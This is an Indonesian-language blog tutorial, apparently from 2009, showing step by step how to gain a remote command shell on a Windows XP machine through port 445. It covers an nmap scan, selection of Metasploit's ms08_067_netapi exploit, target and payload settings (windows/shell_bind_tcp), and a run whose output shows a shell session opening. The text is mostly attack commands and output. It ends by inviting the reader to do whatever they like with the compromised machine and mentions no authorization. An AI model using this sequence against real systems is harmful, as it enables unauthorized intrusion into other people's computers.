pada bagian ini ijinkan saya menjelaskan tentang bagaimana masuk port 445 pada windows menggunakan BT.
oke langsung saja kita ke TKP.
wahyu~BT#msfconsole
melihat list exploits-nya , gunakan perintah :
msf > show exploits
windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow
windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow
windows/smb/ms06_025_rras Microsoft RRAS Service Overflow
windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow
windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll
windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
........
Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.10 :
msf > sudo nmap -v -sS -A -O 192.168.1.28
[*] exec: sudo nmap -v -sS -A -O 192.168.1.28
[sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT
Initiating ARP Ping Scan at 23:50
Scanning 192.168.1.28 [1 port]
Host 192.168.1.28 appears to be up ... good.
Interesting ports on 192.168.1.28:
Not shown: 1712 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows
Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba masuk ke komputer ini dengan menggunakan exploit windows/smb/ms08_067_netapi.
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Lihat opsi dari exploit ini dengan mengetikkan show options :
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :
msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
rhost => 192.168.1.28
Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
-------- cut -----------
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payloads => windows/shell_bind_tcp
Untuk melihat payload apa saja dalam metasploit, gunakan perintah :
msf exploit(ms08_067_netapi) > show payloads
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6)
generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support)
generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager
----------- dst ---------------
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :
msf exploit(ms08_067_netapi) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.28 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST 192.168.1.28 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
sekarang jalankan exploit :
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
ups, apa yang terjadi, pasti anda langsung disediakan menu system windows, sekarang terserah anda, mau diapakan target itu. sekian dari saya mudah-mudahan ada manfaat.
Wassalamu'alaikum.
0 komentar: